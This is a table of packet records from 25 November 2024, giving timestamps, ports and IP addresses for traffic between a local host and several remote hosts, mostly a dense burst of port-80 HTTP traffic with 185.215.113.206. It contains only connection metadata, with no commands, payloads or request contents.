Nov 25, 2024 14:14:43.331801891 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.331907988 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.331914902 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.332015038 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:43.332035065 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:43.332039118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.332066059 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.332073927 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.332094908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.332118034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.332263947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.332890034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.332954884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.333095074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.333161116 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:43.333161116 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:43.333168030 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:43.333182096 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:43.355959892 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.355993032 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.356261969 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.356323957 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.359282017 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.359390974 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.359477997 CET	443	49827	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.359559059 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.359559059 CET	49827	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.359698057 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.359745026 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.360403061 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.361092091 CET	49845	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.361107111 CET	443	49845	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.372967005 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.372971058 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.383464098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.383670092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.383681059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.383683920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.383744955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.383771896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.383893013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.384572983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.384743929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.385063887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.385612965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.385828018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.385848045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.385905981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.386373043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.386529922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.386548996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.386595964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.387211084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.387309074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.387391090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.387481928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.388324976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.388778925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.388792992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.389162064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.389233112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.389415026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.389868021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.390149117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.390161037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.391700029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.391784906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.392241955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.392410994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.392899036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.392954111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.392976046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.393284082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.394226074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.394289970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.394759893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.394819975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.395193100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.395502090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.395517111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.395625114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.396255970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.396444082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.396471977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.396579027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.396991968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.397245884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.397269011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.397855043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.397871017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.397876024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.397929907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.397929907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.398546934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.398617029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.399245977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.399631023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.399658918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.400187969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.400235891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.400258064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.400837898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.400969982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.401458025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.401804924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.402116060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.402164936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.402339935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.402405977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.403172016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.403249025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.403306007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.403440952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.404779911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.404853106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.405275106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.405358076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.405697107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.405893087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.405946970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.406115055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.406574011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.406735897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.406765938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.406836987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.407356024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.407447100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.407469034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.408154964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.408301115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.408324003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.408519983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.408787012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.408843040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.408864021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.409487963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.409580946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.409823895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.410075903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.410604954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.410686016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.410690069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.410788059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.411431074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.411606073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.411748886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.412461996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.412571907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.412592888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.413332939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.413397074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.413422108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.413517952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.414366007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.414547920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.414746046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.415467024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.447818041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.447866917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.448049068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.448235989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.448404074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.448426008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.449174881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.449237108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.449282885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.449548006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.449899912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.450083017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.517343044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.517422915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.517508030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.517508030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.517868996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.517919064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.517947912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.518016100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.518834114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.519121885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.519366980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.519764900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.519773006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.519947052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.519973993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.520514965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.520855904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.520898104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.520967007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.521729946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.521742105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.521918058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.522783041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.522912025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.523225069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.523309946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.523772955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.523824930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.524127007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.524204016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.527782917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527796984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527858019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.527940989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527954102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527965069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.527975082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527986050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.527993917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.527993917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.528199911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.528564930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.529068947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.529263020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.529541969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.529691935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.529856920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.530181885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.530661106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.530811071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.530968904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.531613111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.531795025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.531945944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.532075882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.532463074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.532713890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.532725096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.533364058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.533524036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.533549070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.533673048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.585968018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.586086035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.586138010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.586467981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.586481094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.586494923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.586628914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.587177992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.587284088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.587368011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.587711096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.588193893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.588310957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.588347912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.588495016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.589282036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.589337111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.589607000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.589720964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.591005087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.591495991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.591830015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.591911077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.593096972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.593205929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.594805002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.594871044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.595302105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.595365047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.595942020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.596008062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.596771002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.596879005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.596954107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.597311020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.597878933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.598041058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.598043919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.598165989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.598993063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.599448919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.599941969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.600075960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.600311995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.600322962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.600438118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.601090908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.601260900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.601284981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.601763964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.601929903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.601948977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.602210045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.602766037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.602911949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.602946997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.603005886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.603290081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.603585958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.603782892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.604052067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.604203939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.604231119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.604346037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.604703903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.604846954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.604876041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.604954958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.605185032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.605204105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.605268955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.606205940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.606239080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.606393099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.606466055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.606770992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.606914043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.606997967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.607542992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.607666016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.607733011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.607825041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.608375072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.608391047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.608443022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.608761072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.608930111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.609129906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.609457016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.609468937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.609489918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.609812021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.610459089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610619068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610630035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610641956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610646963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.610654116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610678911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.610816002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.610843897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.611352921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.611382008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.611540079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.611706972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.614691019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.614707947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.614761114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.615704060 CET	80	49760	185.215.113.206	192.168.2.5
